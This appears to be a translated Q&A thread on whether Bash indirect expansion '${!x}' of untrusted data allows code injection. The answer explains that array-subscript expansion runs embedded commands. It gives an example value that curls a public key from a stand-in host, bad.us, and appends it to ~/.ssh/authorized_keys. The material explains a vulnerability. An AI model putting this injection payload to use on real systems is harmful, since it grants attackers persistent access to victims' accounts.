Bash中“$ {!x}”间接扩展的安全注意事项

时间:2017-01-22 12:47:47

标签: bash

假设我有一个变量,x,包含未知的任意数据。

以下间接扩展是否存在代码注入或其他形式漏洞的风险?

ARBITRARY_COMMAND "${!x}"

我知道有些情况下,为有用的现实生活场景分配x的方式本身可能会带来风险,需要进行适当的控制或消毒,但我在此假设x有已初始化的方式不能保证其价值,但不会暴露于上述扩展的漏洞利用。

1 个答案:

答案 0 :(得分:2)

简而言之:是的,任何未知数据的自动扩展都有潜在危险。

通过gniourf_gniourf回答:

  

x='a[$(ls>&2)]'

     

展开${!x}时,Bash将展开${a[$(ls>&2)]},这是一个   数组扩展,所以数组键内的术语,即$(ls>&2),   将被扩展...这将执行ls(输出到stderr所以   我们都可以观察到ls确实被执行了。

例如,您可以代替ls

x='a[$(curl -s bad.us/pubkey >> ~/.ssh/authorized_keys)]'

${!x}评估时,会向您的authorized_keys文件追加一个可能不友好的公钥,这可能会让不友好的人进入您的帐户。